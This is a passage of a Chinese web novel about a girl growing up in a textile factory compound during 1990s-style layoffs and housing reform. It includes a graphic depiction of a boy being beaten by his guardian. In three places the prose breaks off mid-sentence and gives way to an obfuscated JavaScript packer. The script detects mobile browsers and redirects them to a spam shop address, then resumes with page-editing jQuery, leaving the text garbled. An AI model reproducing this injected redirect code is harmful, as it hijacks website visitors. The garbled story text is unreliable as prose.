一步一步, 到太阳下。 倪主任搬走得很快,这也是厂领导的意思,针对吴志这样聚众淫·乱,被判劳教两年的重大问题,厂里是一定要开批判大会的。 作为可能被波及的前妻,厂领导希望尽可能降低对她的影响。 倪盛鸣选择了一个阳光很好的星期天离开。 “长风,要是有机会,你还是要继续考文凭,中专现在够用,但是在新世纪里,最好还是要大学生。” 倪盛鸣看着帮自己忙前忙后打包的闵长风,低声叮嘱。 “厂里的工作稳定,但是……自己也要看机会。” 她说着,把一套白瓷餐具直接放在箱子里。 “倪姐,这个瓷盘可以用衣服夹着,这样不坏。” 闵长风想重新打包。 “搬到对面而已,不用那么麻烦。” 倪盛鸣笑了,摇摇头。 除了一些必要的文件,她什么也不打算带走。 “这些东西,你家有合用的就拿着用,用不上的就给车间里的工人分分。我一向严厉,你们包容了我很多。” 倪盛鸣说。 “……倪姐。” 闵长风红了眼睛,看着倪盛鸣。 “好了,不用送我。记得要考文凭,看机会。厂里可能也要没那么稳定了,之前,没出这档子事的时候,厂长和我私下说过,明年的下岗指标又比以前多了。” 倪主任拍了拍闵长风的肩膀,嘱咐: “你做好准备。首先要把住着的房子买过来。” 闵长风红着眼睛点头。 只有六岁的闵朝言并不理解母亲这几天的低落情绪, 她还太小,不知道“离别”是什么。 “小孩,我要走了。” 倪淮玉踢开脚前的小石子,低垂下眼。 “嗯,我妈妈说了。” 闵朝言点头。 十二岁的倪淮玉没有选择,他必须跟随着母亲离开。 “我不想走。” 倪淮玉坐在楼梯上,看着闵朝言。 “为什么?” 她问。 倪淮玉没有回答这个问题,他撑着下巴,看了闵朝言很久。 金色的阳光洒落下来,她的四股辫像是夏天在池塘里晕开的浓墨,落在肩膀上。 “我不想离开‘家’。” 他最后只是这么说。 他站起来,抬起手,很轻地碰了一下闵朝言的辫子,露出一个笑脸来。 明明他看上去和上周长得一模一样,可是闵朝言却有种感觉,他好像长大了。 他的眼睛里, 也是空心的了。 倪淮玉走之后,闵朝言每天晚饭后的“看天空时间”,又开始变成一个人。 她散着头发,抬头看着天井上面,四四方方的天空。 有时候,曲家男孩会陪她一起在台阶下坐着。 闵朝言常常会分给他一块糖,有时候是水果糖,有时候是玉米软糖,但他从来不吃,总是很小心的放在胸前的口袋里。 她也不知道为什么自己这么喜欢给他喂东西,明明他也不吃。 可能他把糖果小心翼翼藏起来的样子实在很有意思,像闵朝言一直想要的小狗一样,用爪子笨拙地把宝物藏起来。 “会化的。” 闵朝言递给他一块奶糖,看着他又要藏起来,说了一句。 “……没事的,我会放起来。” 他小声地说。 “哦。” 闵朝言不拦了,抬头看着天。 “你的发绳,换了。” 男孩看着闵朝言,小声问。 闵朝言之前用的是一个蓝色发绳,上面绣着铃兰花,今天这个却是橙色的,绣的是小雏菊。 “之前那个送人了。” 闵朝言回答。 “……嗯。” 男孩手指摸着口袋里的糖,默默点头。 闵朝言并不常和他聊天,他像安静的植物一样,长在她身边,随风缓缓摇动,影子落在她肩膀上。 - 曲家老三出了院,他的舌头不好用了,但摔碗摔盆的声音 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16650367|182368||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 依然时不时响起。 老曲获得了他非自愿的“长期休息”,他去厂里找人闹,却被告知这是倪主任在离职之前的安排。 他吵着想复工,毕竟长期休息的工人只有基本工资,很多福利待遇更是享受不到了。 但对方一步也没退,只是说了一句: “你回家看侄子吧。” 老曲就不再说话了,沉默着离开了。 回到破旧的四号楼,老曲重重摔上门,看着坐在墙角背对着自己的“侄子”,脸色铁青,一脚飞踢了过去。 ——! 男孩被一脚踢到墙上,他没有抬头,蜷起身子,默默伸出双手保护住自己手里的东西。 那是一个塑料小盒子,很破旧,但是被精心地擦干净了,一点灰尘也没有,透过已经斑驳的塑料盖子,能看见各式各样的糖果,被很小心地放在里面,连包装纸也没有一点点皱, 男孩抱紧了自己唯一的宝物。 他很清楚,这一脚只是开始。 “你个贱货!要不是因为你,老子能被这么欺负?你个废物!” 老曲仰起头猛灌了一口手里的劣质二锅头,双眼血红,拽着男孩的头往墙上撞。 “废物!贱货!” 他骂人的词也匮乏,除了两个勉强能算得上人话的词之外,就是带着口音的乡音粗语。 常姐正在厨房做饭,炉子上的水壶发出尖锐的嘶鸣声。 “别人又要听见了。” 常姐用毛巾擦着手,眼神里一片灰暗,她的声音很轻,仿佛早已经死去多时了。 “听就听!当初,要不是你生的那两个玩意都是畜生,至于再生一个吗?啊?!” 老曲带着酒气的咒骂声喷涌而出。 老曲本来不想生孩子,最近几年厂里查得严,很多“超生”的员工要么停职,要么被开除。 但他的两个儿子都长大了,一个比一个混账,老大十几岁就敢偷家里的钱出去赌博,欠下好大一笔高利贷,老曲二十年的积蓄都搭了进去。 小儿子没上初中,就敢跟那些社会青年出去打群架,老曲揍了他一顿,他居然半夜拿着刀砍在了老曲的大腿上。 老曲怕了,他觉得这两个儿子,谁也不可能给他养老,更不可能给他挣钱争光。 唯一学习好的二丫头,可是她那双眼睛里的恨,一点也不比她的哥哥弟弟要少。怎么办呢? 老曲思来想去,在乡下找了个因为“超生”不敢养,正求着要把孩子送人的人家。 他每个月给人家二十块钱,这个孩子就被他买下了。 没有户口的孩子在乡下养了五年,今天那家人遭了查,不能再养孩子了,转手把这个孩子送了过来。 这算超生,还是买儿子? 不管是哪种,总归都是不符合规定的,老曲恨极了这个突然出现的孩子。 可是他花了这么些年的钱,眼见着大儿子和小儿子越来越混账,老曲咬咬牙,决定还是再养一个。 他之前最大的错误,就是对那两个崽子太好了,让他们不知道父子尊卑。所以,对着这个新来的,老曲有一个简单的方法: 他要把这个小崽子,彻底打服,打成一只听话的狗,一看到他就哆嗦,就夹起尾巴的狗! 拳脚暴雨般砸下,男孩的脸上被泼上酒液,顺着眼睛流下去,很辣,也很痛。 但痛并不能让他流泪。 “这是什么玩意儿?糖?!你是不是偷钱了?你敢偷老子的钱?!” 在拳脚和怒骂声中,他听见塑料盒被踩碎的声音,糖汁被踩扁,碎裂的水果糖和老曲鞋底的泥土混在一起。 不……不要…… 他用手盖住那些糖果,手背被狠狠踩出青紫色。 碎裂的糖果边缘尖锐,狠狠扎进他的血肉里。 58. 芳芳纺织厂(10) “言言——!言言!!” 女人的高声呼喊将闵朝言从梦中生生抢出来,她还没睁开眼睛,就感受到自己被抱进一个厚实温暖的怀抱。 “起火了!言言,捂住鼻子!” 闵长风顾不上脸上的灰,抱着闵朝言往外跑。 起火了? 闵朝言的眼睛一下子睁大了,她本能地知道火是破坏力很大的东西。 “不怕不怕,不是咱们家。” 闵长风匆忙安慰着女儿,抱着她往外跑。 哐——! 哐——!!! 大门被重重砸响。 “有人在家吗?我们是消防队的!现在需要借用你们的地方灭火!” “请开门!请马上开门!!” 门外有人锤着门大喊。 闵父护着妻女打开门,几个身穿厚重军绿色防火服的消防员敬了个礼,然后马上伸出手将人往外拉。 “请马上下楼集合!这栋楼都要清空人!” 声音坚毅的战士说。 在他说话的档口,几个扛着胶皮水管的消防员鱼贯而入,他们个个都穿着极厚重的军绿色防火服,戴着红色头盔,脸上的汗水和尘土混合在一起。 闵朝言被母亲抱着一路下了楼。 “安全了,言言,不怕啊,妈妈爸爸都在。” 闵长风让女儿站在地上,紧紧握着她的小手。 “你看,你站在这里,咱们安全了。” 她说。 闵父站在她身后,温和地环抱住妻子的肩膀。 “我们没事了,你去看看消防员那边需不需要帮忙,你搭把手。” 闵长风也抱住他,松了一口气。 闵父沉默着点头。 纺织厂的家属楼都挨得很紧,一家起火,如果来了一阵大风,所有人都要遭殃。 为了预防火情扩大,从三号楼到五号楼的住户都被叫了下来,壮劳力们都在根据消防员的指示帮力所能及的忙。 “这是哪里烧起来了?” 程新抱着白百福跑下楼,找到了闵长风。 “四号楼。” 闵长风的眉头皱起来,压低了声音: “老曲家。” “老曲家?” 程新瞪大了眼睛,低声说: “老曲……今天百福她爸上晚班之前和我说,老曲给‘无限停工’了。是倪主任走之前安排的。” 程新的丈夫只是临时工,和老曲在一个班工作,晚上常常要加班。 “是吗。” 闵长风没说话,低下头。 纺织厂里没有秘密,闵长风去医院对着老曲明朝暗讽之后,谁都知道这两家人看不对眼了。 老曲虽然职位比闵长风低,但是有资历,人品又不行,难保日后给她使点麻烦的小绊子。 闵长风从一开始就不怕这些,她应对过很多更辛苦的事情。 但倪盛鸣在最后还是关照着她, 这件事,让闵长风忍不住鼻子发紧。 “老曲家住你对窗吧?怎么就烧起来了?烧得厉害吗?” 程新捂住了白百福的耳朵,也压着声音问。 程新是很看不上老曲的。 她原先同老曲家的二姑娘关系不错,那个小姑娘拿她当姐看,走之前还给程新留了封信。 程新看了信,哭了一晚上,隔天就开始不停宣传老曲家的“光辉事迹”了。她不能帮曲二姑娘做点什么,但至少不能让老曲家父子过得那么舒坦。 “烟太大了,看不清。” 闵长风摇摇头。 这种事情,还是不要多讨论的好。 “云梯伸不上去就从家属房里找角度!先把被困人员赶紧接出来!” 手持对讲机的指挥员,脸上有种饱经风霜的,钢铁般的坚毅。 她站在四号楼下面,看着逐渐聚集的人们,声如洪钟: “都别看了!都疏散!到时候水冲着你们不负责啊!” 在老战士的威慑力下,人群渐渐散去。 万幸火势很快被止住,被困人员也被陆续救出。 常姐抱着侄子,依靠着消防员的搀扶,慢慢走了出来,她和怀中的男孩都是灰头土脸的,但除了眼神发怔之外,身体并没有受伤。 另外抬下来的,还有两个担架,消防战士们用身体挡住了担架上的人,没有让围观群众看见。 只有不到腰高的闵朝言从人群的缝隙中看见,那双从担架上垂下来,皮肤血肉都被烧得溃烂的手。 一切吵嚷喧闹消失, 她听见自己的心跳声不断放大。 咚、咚咚—— 被常姐拉着的小男孩眼神越过人群的手臂,看向那个雪白的,洋娃娃一样的女孩。 她的眼神是那样明亮地闪烁着。 她在笑。 - 1099年,重平市, 芳芳纺织厂附属子弟小学。 “闵朝言,闵朝言!” 郝升祺躲过好几个足球,从操场的另一边跑过来,对着闵朝言挥手。 “嗯?” 闵朝言盘着腿坐在秋千上晃悠,抬起头。 她的头发已经很长了,被扎成一个丸子,抬头的时候,一点一点地颤着。 “你怎么不去上课啊?你不喜欢上数学课吗?” 郝升祺呼哧呼哧跑到她身边,问。 三年过去了,他还是一副圆滚滚的模样,个子也不高,眼睛和他的脸型一样圆乎乎的。 “哦,我陪白百福哭一会儿。” 闵朝言向旁边的秋千上歪了歪头。 另一边,白百福已经哭成了一个泪人,闵朝言递给她一块橘子软糖,她一边嚼一边哭,声音堵在嘴里,呜呜的。 “你吃吗?” 闵朝言递过去一个。 虽然最开始给她送橘子软糖的人没了,但闵朝言身上总还是有这种糖果。 她其实早就不吃了,但还是习惯性地会买。 “好哦。” 郝升祺接过糖果,自己也嚼起来。 对他来说这是非常廉价的零食,家里人绝不会给他买这个档次的糖果。郝升祺也不觉得好吃。 但这是闵朝言给他的糖果,所以郝升祺觉得不好吃,也还是会一次又一次地吃下去。 他没思考过为什么,这好像本来就是理所当然的事情。 “我上次见她哭这么惨,还是你被糖粘掉了牙,她担心你会死掉的时候。” 郝升祺说。 闵朝言面无表情地捏住了郝升祺的嘴。 去年,大家都陆陆续续开始换牙了,白百福说话更漏风了,她像她妈,爱说话,叽叽喳喳起来,闵朝言一天用三块糖也粘不住她的牙。 真正被粘住牙的是闵朝言,她其实不常吃橘子软糖,偏偏就是那天! 闵朝言嚼到一半,嘴里一空,牙龈忽然有点发凉——然后,就是她的牙粘在橘子软糖上,掉了下来。 在学校啊!!! 即使是从来不在意别人目光和看法的闵朝言,也觉得自己小小的死了一回。 原来这就是“丢脸”的感觉。 直到今天, 她依然不允许任何人说起这件事。 “我%错了?:不敢&说了——!” 郝升祺可怜巴巴地举起双手投降。 又从他身上收缴了两 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16654862|182368||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 颗进口巧克力,闵朝言才放过他。 “白百福为什么哭得这么惨啊?” 郝升祺问。 闵朝言没回答,默默把手中的巧克力分给白百福一个。 “我、嗝!我妈妈,要下岗了……哇——!!!” 她含着巧克力,大声哭起来。 白百福的父亲是临时工,去年就下了岗,现在在外面打零工。好在母亲程新还有正式工的职位,日子勉强紧巴着也能过下去。 可昨天回来时候,程新和丈夫说起,自己也在今年的下岗名额里,厂里要买断她的工龄。 “他们一直在吵架,我好害怕,我不想回家。” 白百福抽噎着,拉住闵朝言的衣角: “我能去你家吗?” 晚饭之前,程新敲响了闵长风的家门。 闵长风打开门,看到是她,下意识用衣摆擦了擦手,开口: “吃了饭再走吧。” “不了,谢谢闵主任。” 程新摇头,脸上的表情有点憔悴。 “程新,你别这么叫我……” 闵长风的表情落寞。 “谢谢你帮我看着百福,我先回去了。” 程新笑笑,没说什么,转身离开了。 她最近瘦了很多,工服空荡荡的,随着风飘动。 就像她这个人,也只能随着时代的浪潮,不断地飘动,不知道终点是哪里。 白百福和母亲离开了,走之前眼泪汪汪的。 果然,她回到家没多久,厨房里又传来了争执声。 “你不是和那个闵长风关系好吗?她现在是车间主任了,怎么不帮帮你?!虚伪!” “这是厂里的指标,她也是没办法,她已经尽力给我们更多补偿了——” “补偿有什么用?我们俩都下岗了,房子也住不了了,孩子要转学,那几万块钱够干什么的?!” “长风说了,房子不让我们马上搬,孩子也可以等毕业了再去上公立初中,现在厂里就是这个情况你让我怎么办?你自己不是也下岗——” 啪——! 厨房里,程新捂着自己的脸颊,不可置信地睁大了眼睛。 “你打我?你敢打我?!姓白的,我杀了你!!!” 厨房里传来锅碗瓢盆被用力摔下的声音,白百福躲在被子里,抱着脑袋瑟瑟发抖。 好想逃…… 她闭上眼睛,拿出一个闵朝言给她的橘子糖,大口大口地嚼起来。 眼泪混进糖里,她也分不出咸和甜了。 另一边,闵长风家的气氛也并不轻松。 “厂里的新指标下来了,要尽快第一批要下岗六百个员工,我们车间分到了……两百六十个。” 闵长风夹起一筷子鸡肉,放到闵朝言碗里。 闵朝言和闵父都沉默地倾听着。 “程新也在名单里。” 她叹息着。 倪盛鸣离开之前向厂领导大力举荐了闵长风作为自己的接班人,经过一年的考察期,闵长风在二十七岁这年成为了六车间的车间主任。 作为所有车间主任中最年轻的一位,她无疑被分配了最高的数量指标。 六车间一共三百三十个工人, 一夜之间,她要让三百三十个人里的一半,都失去生计。 其中就有她最好的朋友,程新。 今天下班时,没有任何一个工人和她打招呼,没有一个人再和她一起走回家属楼了。 闵长风深深叹了口气。 “妈妈。” 闵朝言轻轻拉住闵长风的手,眨了眨眼睛,声音稚嫩,却很平静: “你别怕,你会赢的。” 59. 芳芳纺织厂(11) 五号楼里渐渐沉默起来,晚饭后的天井也没那么热闹了。 晚餐时,每家每户飘出来的饭香都变得浅淡,少了一点荤腥味,总是茄子土豆的味道在回荡。 “厂里现在房改,鼓励大家自行出资,把福利住房的产权买下来。” 吃完晚餐,一家人坐在沙发上看电视,闵长风说。 随着轰轰烈烈的下岗运动,厂里向下岗职工支付的工龄买断费越垒越多。 厂里的资金眼见着要不够用了,领导层开会后决定,此时开启“房改”,通过此举筹措资金,缓解压力。 作为车间主任,闵长风当然收到了“动员”。 闵长风想起当年倪盛鸣离开时的叮嘱,对这件事也很上心。 “言言觉得,妈妈应该买吗?” 她问闵朝言。 闵朝言的眼睛从大彩电上收回来,看向母亲。 从闵朝言很小时候开始,家里的大事谈话就从来不避着她,很多时候,闵长风会把复杂的事情比喻成简单的故事,把其中的逻辑和道理都讲给闵朝言听。 “我不知道。我们不是已经住在这里了吗?” 闵朝言回答。 她不理解“买房”的必要性,自己家已经在这个房子里住了三年了,这不就是她们的房子吗? “不是的,现在这个房子,虽然咱们住着,但是其实是厂里借给我们住的,如果不让我们住了,我们就要搬走。如果买下来的话,这个房子就是我们的了,谁来也不能让我们搬走。” 闵长风细心回答。 “那,要买!” 闵朝言很快想明白了“借住”和“拥有”的区别,点点头。 “那言言帮妈妈爸爸算一笔账好不好?” 闵长风拿出家里的账本,递给闵朝言。 “妈妈现在一个月赚一千三百块,爸爸赚九百块钱。咱们家的固定开支里,买菜每天二十块,水电燃气,加上采暖费,一个月要一百二十块,言言你的零花钱六十块,加上分摊到每个月的人情送礼,买过年衣服……” 在母亲的讲述声中,闵朝言在自己的草稿本上写写画画,最后得出结果: 每月收入:1300+900=2200(元) 每月支出:20×30+60…=1300(元) “按照现在的支出,每个月有900元结余。” 闵朝言工工整整地写上“答案”。 “是的,加上咱们家之前的存款,我们现在手里有大约一万两千块。这个房子呢,厂里的员工内购价是一万五千块。” 闵长风摸着女儿的头发,眼中满是自豪,又问。 “我们现在有三个选项,一个,是把存款全部拿出来,接下来三个月我和爸爸的一半工资抵扣房款,我们家就可以把房子买下来了。” 闵朝言认真做笔记。 “一个,是拿出九千块存款,接下来六个月我和爸爸的一半工资抵扣房款,存款能留一点,但是欠债的时间会久一点。” 闵朝言咬住笔头,在思考着什么。 “最后一个,只需要拿出六千块房款,接下来九个月里,我和爸爸的一半工资抵扣房租,我们需要额外缴纳每天一块钱的保证金。言言,你说那个更好?” 闵朝言拿起水笔开始写算式,写了好几页纸,又拿出自己刚才写的收入支出表看来看去,一本正经地思考着。 闵长风和丈夫安静地等待着,闵父默默调小了电视机的音量。 “我觉得,选第三个。” 闵朝言犹豫了好一会儿,把自己的回答说出来。 “为什么呢?第三个要多花钱呀。” 闵长风笑着问。 “因为,第三个虽然要多花钱,可是我们的存款只会减少一半,而且你们只要九个月就能还清剩下的九千块和所有保证金。保证金一共只有270元,所以第九个月里,你们就不用交一半工资了,只需要交七百二十元。” 闵朝言拿出干净的草稿纸,认真地解释。 “如果是第一个方案,我们就没有任何存款了,这是很不安全的。要等两个月才能从头开始攒钱,如果这两个月当中发生了什么要用钱的事情呢?我觉得这样不好。” 闵朝言有一个存钱罐,她从六岁那年开始攒钱,平时只买一点橘子软糖之类的零食分给朋友,现在已经攒到七百块了,她看着存钱罐里的变多,自己会很有成就感。 这样的话,如果突然出现一本很好看的进口书,她也买得起! 她听郝升祺说了,有一本写巫师和魔法世界的故事书,在国外非常流行。是他出国的亲戚寄回来的,英文版的,要好几百块! 郝升祺要送给她,但是闵朝言记得母亲的嘱咐,没有要这种非常贵重的礼物。 但她真想要一本啊。 闵朝言正在努力学习这种奇怪的字母语,并且决定,等她能看懂那种奇怪文字的时候,就买一本回家。 如果现在存钱罐里七百块突然不见了, 她肯定会非常非常的不开心,而且没有安全感。 所以方案一不可以。 “方案二和方案三差不多,方案二比方案三欠钱的时间少三个月,但还是要只有三千块存款六个月,而在方案三里,这六个月时间,我们可以有六千块存款,更多钱在自己手里,我觉得更安全。” 闵朝言认真回答。 方案二和方案三之间的差别几乎把她难住了,她用了好几场草稿纸,换了好几个方法,才把这个帐算明白。 闵父转头看向妻子,他只有初中文凭,又已经进厂十来年,早就听不懂这些算式了。 闵长风拍拍丈夫的大腿,笑着考了女儿最后一个问题: “但是保证金是额外的花销呀。” 她问。 “嗯,这个我也想到了。” 闵朝言点头。 她拿出自己画的“每月开支表”,把上面写着“言言零花钱:60元”的字划去,改为了: “言言零花钱:30元”。 “我也是家里的一份子,妈妈爸爸的工资要上交一半,我也要上交一半,我的零花钱减半,就可以支付保证金了!” 她抬起头,露出一点带着小小得意的笑容,看着母亲和父亲。 室内一片沉默,闵朝言有点疑惑的眨了眨眼,却被母亲一把抱进怀里。 “我的女儿,我的言言……你真是天底下最好的孩子了。” 闵长风感动地红了眼睛,紧紧抱住闵朝言。 这个与她血脉相连,与她一脉相承的孩子。 她的孩子,她唯一的孩子。 “做得好。” 闵父抱住妻子和女儿,眼中也满是感动和欣慰。 按照闵朝言的规划,闵长风和厂里选择了方案三,一家人带着存折,紧张地去银行取了钱,在厂里签字,然后取回了红艳艳的房产证。 在“房屋所有人”的那一行,写了三个人的名字。 三个名字依偎在一起,就是互相遮风挡雨的一家人。 闵朝言坐在沙发上手里抱着房本,闻着上面新鲜的油墨味道,不自觉露出一个笑容。 家,她的家。 闵朝言明明一直是有家的,可是今天,这个词变得不一样了。 她的家,好像变得更加沉甸甸,更加厚,更加暖。 六岁之后就自己一个房间的闵朝言, 今天终于回应了妈妈的期待。 她在妈妈爸爸中间最柔软的位置,做了一个很暖洋洋的梦。 梦里是天井, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16663371|182368||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 是天井里的家。 - 闵朝言的零花钱少了一半, 她不再给郝升祺橘子软糖了,只给白百福。 一向最大声嚷嚷着要“公平”的郝升祺这次却一点也没有开口抱怨,他从家里偷偷拿出来一大盒巧克力,三个人一起分着吃。 “对不起,我,我也想有糖可以分给你们……” 在树荫下,白百福看着手里的巧克力和糖纸,又大声哭了起来。 直到这个时候,闵朝言才知道,原来白百福之前的眼泪珠子都是撒娇哭着玩。 原来一个人真正伤心哭泣的时候,脸会又红又涨,鼻涕很不好看的流出来,声音会一顿一顿,甚至哭到打嗝,说不出话来。 她看着白百福哭到打嗝反胃的丑样子,不知怎么的,自己心里也酸酸的。 “你先欠着我们,以后再吃。” 闵朝言说: “我们还要当一辈子的好朋友呢,有很长很长的时间。” “对,很长的时间!” 郝升祺擦了一把嘴边的巧克力,笑着说。 在小孩子的世界里, 悲伤可以被一颗巧克力终结,友情是不会变质的约定。 放学之后,闵朝言坐在天井里。 她抬头看天井上面四四方方的天, 天好像还是一样的,但是闵朝言又觉得这个世界好像不一样了。 “阿言。” 一个声音唤她。 柔柔的,带一点哑,很悦耳,仿佛经历过千百次的联系,终于找到了最合适的那一点语调。 “曲让尘。” 闵朝言叫他的名字。 “嗯,我在。” 男孩回答。 他个子长高了许多,天生的白净也渐渐显露,瘦弱的身材和朴素的衣着,也掩饰不住他精致的眉眼。 他天生眉骨比别的孩子挺拔,鼻尖微微翘起,在阳光下,瞳孔是极浅的棕。 曲让尘。 这是他的名字。 三年前的火灾,老曲烧坏了半边身子,为保命截了左腿,成了终身残疾,他的正式工名额给了大儿子,自己靠着每个月领一点厂里的人道救济金。 曲老三更惨,本来就已经是瘸腿,还毁了容,醒来之后自杀未果,弄伤了脊椎,成了瘫痪,瘫在床上,俨然一个废人了。 可能是因为这个“特惨案例”,厂里特批了老曲“收养”侄子的申请,登记姓名的时候,曲家人才想起来,这个孩子没有名字。 “杂种”“小畜生”“赔钱货”这种词,是不能登记成名字的。 “曲老四,曲老四!” 老曲不耐烦地在登记处喊着。 负责登记的职员看了一眼瘦瘦小小的孩子,轻轻叹了口气,登记好了名字。 “曲、曲让啥?” 老曲看着新的户口本,认不出来。 “曲让尘。扫去尘土,自绽光华。” 职员看向男孩,缓缓说。 “我要的不是这个名!他这个小…小东西要什么好名?” 老曲不满。 “你发音不标准,自己说错了。登记了就改不了了,赶紧走吧,后边还有人排队呢!” 职员皱眉。 老曲悻悻作罢。 离开前,男孩转过头,小声和职员说了一句: “谢谢阿姨。” 职员没说话,对着他笑了一下,心里满是心酸沉重。 除了改几个字之外,她还能做什么呢? 她还能改这几个字, 会跟随一生的字。 “下一个,叫什么?” 她收回心思,问。 “吴贱娣。” “好了,吴剑笛。下一个!” 60. 芳芳纺织厂(12) “阿言。” 曲让尘小声说。 他将手伸过来,一双洗得干干净净的手心里,放着一只发夹。 介于青蓝之间的颜色,上面贴着碎碎的小钻,夹在一张硬卡纸上,被塑料袋好好地包住。 这是一个要花七块钱才可以买到的发夹。 这是曲让尘灰尘扑扑,在垃圾堆里捡瓶子的一个月。 “给你。” 他说。 “你买这个,要捡好多瓶子吧。” 闵朝言伸出手接过来,打开包装袋。 曲让尘是没有零花钱的,他身上的衣服还是三年前那件。当时过于宽大,现在过于紧绷。 “忘记了。你戴戴看?” 曲让尘摇摇头,唇边扬起小小的弧度,眼中满是期待。 他看着闵朝言。 闵朝言把包装拆开,将发夹放到曲让尘手里。 “喏,你给我戴。” 她说。 曲让尘的眼中闪烁着亮光,他小心翼翼地伸出手来,将她耳边的发丝梳理好,动作轻得如同一阵风,唯恐伤到那怕是一根头发。 他的视线那样专注。 粗糙得手指划过闵朝言脸颊的一点肌肤,她微微眯起眼。 从相遇的那天开始,她就觉得曲让尘很有意思,直到今天也是。 曾经, 曲让尘是她见过的最空洞的小孩。 他的眼睛里什么也没有,好像商店里廉价玩偶的玻璃眼珠子,不是活着的。 如今, 曲让尘是她见过的最专心的小孩。 他的世界里还是什么也没有,他不关心别人,也不关心自己。 他所有的目光都落在闵朝言身上, ——好像除了她,他的世界里空无一物。 即使是最忠诚的狗也会知道在雪天里寻找温暖的角落,但曲让尘却会一次次在冬天穿着包浆破洞的棉衣,冻得瑟瑟发抖,坐在天井里等着闵朝言下楼。 当曲让尘说自己“想挣钱”时,闵朝言以为他终于要给自己买一件外套了。 结果他跑到垃圾场里捡了一个月的瓶子,买回来一个不能吃也不能喝的发夹。 “好看。” 他低声说着,将双手收回去。 只有八岁的男孩子,手上的伤口层层叠叠。 闵朝言低下头看看自己的白净柔软的,甚至连重物都没有提过的手,又看看曲让尘手心里那道深深的伤疤,轻轻皱起眉。 “对不起。” 曲让尘说。 “为什么道歉?” 闵朝言抬头问。 “你不开心。你可以打我。” 曲让尘说着,眼中有一点期待。 “不要,我不喜欢打人。” 闵朝言摇头,拿出口袋里的雪花膏,里面只剩下小半盒,是她用剩下的。 “我不喜欢这个味道了,你用。” 她把雪花膏递给曲让尘。 这是实话,暑假前郝升祺送了她一套新的擦脸油,上面都是字母,闵朝言看不懂。 但是比这个香很多,而且摸起来很清爽,闵朝言于是抛弃了雪花膏,一直放在桌子上,今天出门时想起曲让尘,干脆废物处理扔给他。 “好。” 曲让尘的唇瓣勾起一点,他双手接过这份“回礼”。 “这个不用会长霉,你不能再收起来了。你的手好粗好难看,我不喜欢。你要把手弄好了,才可以摸我头发。” 闵朝言吓唬他。 “!我,我会用的!” 曲让尘马上保证。 闵朝言满意地笑。 因为闵长风对狗毛过敏,所以虽然攒到了足够的钱,但闵朝言没能拥有一只小狗。 但是,她现在有一个更加可爱,更加忠诚的宠物了。 闵朝言伸出手,轻轻摸着曲让尘的头发,像是小主人在爱抚乖顺的小狗。 男孩脸颊红红的,蹲在她身前,低下头,轻轻把自己的下巴放在她的膝盖上,安心地闭上眼睛。 傍晚的风在天井中回旋,落叶在其中舞动,又下坠,落在她与他重合的影子上。 1099年的秋天悄然到来。 闵朝言升上初一,跳过了小学。 她本来就是全年级成绩最好的孩子,在三年级的时候老师就有和闵长风提出过让她跳级。 闵朝言拒绝了,因为她不想和自己那两个十分吵闹的朋友分开。 但这次,她同意了, 因为这次,她和朋友们无论如何都要分开了。 那是开学前一周,闵朝言和白百福在天井里坐着,两个孩子都没说话,默默吃着嘴里的橘子软糖。 “我下学期,就要去公立小学上学了。” 白百福哭得抽抽嗒嗒,脸上满是泪痕,眼睛红通通的。 程新和丈夫接连下岗,收入骤降,两个人都只能打零工为生,每个月的收入不过几百块,冬天马上来了,还要交一笔取暖费。 虽然闵长风代厂领导承诺过,程新的孩子不必马上转出纺织厂附小,但那些曾经因为程新正式职工身份而免去的书本费、学杂费,现在需要用钱来付了。 在全家人只能紧巴巴节衣缩食时,子弟小学里每学期两百块的书本费,一百块的学杂费,就显得过于昂贵,太不必要。 公立小学是不收书本费的,学杂费也只有几十块钱。 为了支付接下来几个月在难捱冬天里的取暖费,程新只能将孩子转入公立小学。 “我不想去……” 白百福抹了一把眼睛,她现在已经能把自己的哭声压抑得很小很小,像是微风里病弱小猫的呼吸声。 “你本来也上不了纺织厂附中,先去公立小学认识一点人,好过初中再过去,谁也不认识。” 闵朝言递给她一块糖,安慰她。 “闵朝言,如果我有你这么聪明,是不是,我们家就不会总是吵架了?” 白百福红着眼睛问。 在家里的吵打声实在太令人害怕的时候,白百福会捂着耳朵,躲进闵朝言家里。 闵家总是很平静,大家脸上都有笑模样,晚上可以吃到肉,电视里播放着各种节目,桌子上还有零食和糖果。 白百福听爸爸说过,他们下岗的罪魁祸首就是闵长风,他说这句话的时候,妈妈拿起擀面杖,很用力地捶了他的手臂。 然后他们就又打起来。 这些日子里,即使是风吹过的声音,也能成为战火开启的理由。 白百福躲进自己的小被子里,在眼泪不断涌出的时候,她在心里偷偷想: 